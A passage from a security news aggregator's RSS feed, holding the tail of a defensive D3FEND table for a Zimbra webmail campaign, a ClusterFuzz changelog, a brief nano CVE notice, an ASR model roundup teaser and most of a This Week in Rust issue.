<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.2]]></title>
<description><![CDATA[What's Changed

Remove .exe on targets before appending .runtime_deps by @notvictorl in #5372
symbolizer: Temporarily increase llvm-symbolizer cache size on macOS by @g-ortuno in #5374

Full Changelog: v2.35.1...v2.35.2]]></description>
<link>https://tsecurity.de/de/3689247/it-security-tools/v2352/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689247/it-security-tools/v2352/</guid>
<pubDate>Thu, 23 Jul 2026 15:58:00 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Remove .exe on targets before appending .runtime_deps by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941989702" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5372" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5372/hovercard" href="https://github.com/google/clusterfuzz/pull/5372">#5372</a></li>
<li>symbolizer: Temporarily increase llvm-symbolizer cache size on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950214194" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5374" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5374/hovercard" href="https://github.com/google/clusterfuzz/pull/5374">#5374</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.1...v2.35.2"><tt>v2.35.1...v2.35.2</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-6390 | Red Hat nano Multi-buffer Error Message format string (EUVD-2026-47874)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in Red Hat nano. This affects an unknown function of the component Multi-buffer Error Message Handler. Performing a manipulation results in format string.

This vulnerability is reported as CVE-2026-6390. The attack requires a l...]]></description>
<link>https://tsecurity.de/de/3688788/sicherheitsluecken/cve-2026-6390-red-hat-nano-multi-buffer-error-message-format-string-euvd-2026-47874/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688788/sicherheitsluecken/cve-2026-6390-red-hat-nano-multi-buffer-error-message-format-string-euvd-2026-47874/</guid>
<pubDate>Thu, 23 Jul 2026 13:03:55 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/red_hat:nano">Red Hat nano</a>. This affects an unknown function of the component <em>Multi-buffer Error Message Handler</em>. Performing a manipulation results in format string.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-6390">CVE-2026-6390</a>. The attack requires a local approach. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Best Open Speech Recognition (ASR) Models in 2026: WER, Languages, Latency, and License Compared]]></title>
<description><![CDATA[Open speech recognition stopped being a Whisper monoculture in 2026. Cohere Transcribe, IBM Granite Speech 4.1, ARK-ASR and MOSS-Transcribe are now separated by less than one WER point on the Hugging Face Open ASR Leaderboard — which means rank no longer decides anything. This roundup compares 16...]]></description>
<link>https://tsecurity.de/de/3688555/ai-nachrichten/best-open-speech-recognition-asr-models-in-2026-wer-languages-latency-and-license-compared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688555/ai-nachrichten/best-open-speech-recognition-asr-models-in-2026-wer-languages-latency-and-license-compared/</guid>
<pubDate>Thu, 23 Jul 2026 11:44:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Open speech recognition stopped being a Whisper monoculture in 2026. Cohere Transcribe, IBM Granite Speech 4.1, ARK-ASR and MOSS-Transcribe are now separated by less than one WER point on the Hugging Face Open ASR Leaderboard — which means rank no longer decides anything. This roundup compares 16 open-weight models on word error rate, language coverage, streaming latency and license, and shows why the published averages cannot be subtracted from one another.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/best-open-speech-recognition-asr-models-in-2026-wer-languages-latency-and-license-compared/">Best Open Speech Recognition (ASR) Models in 2026: WER, Languages, Latency, and License Compared</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
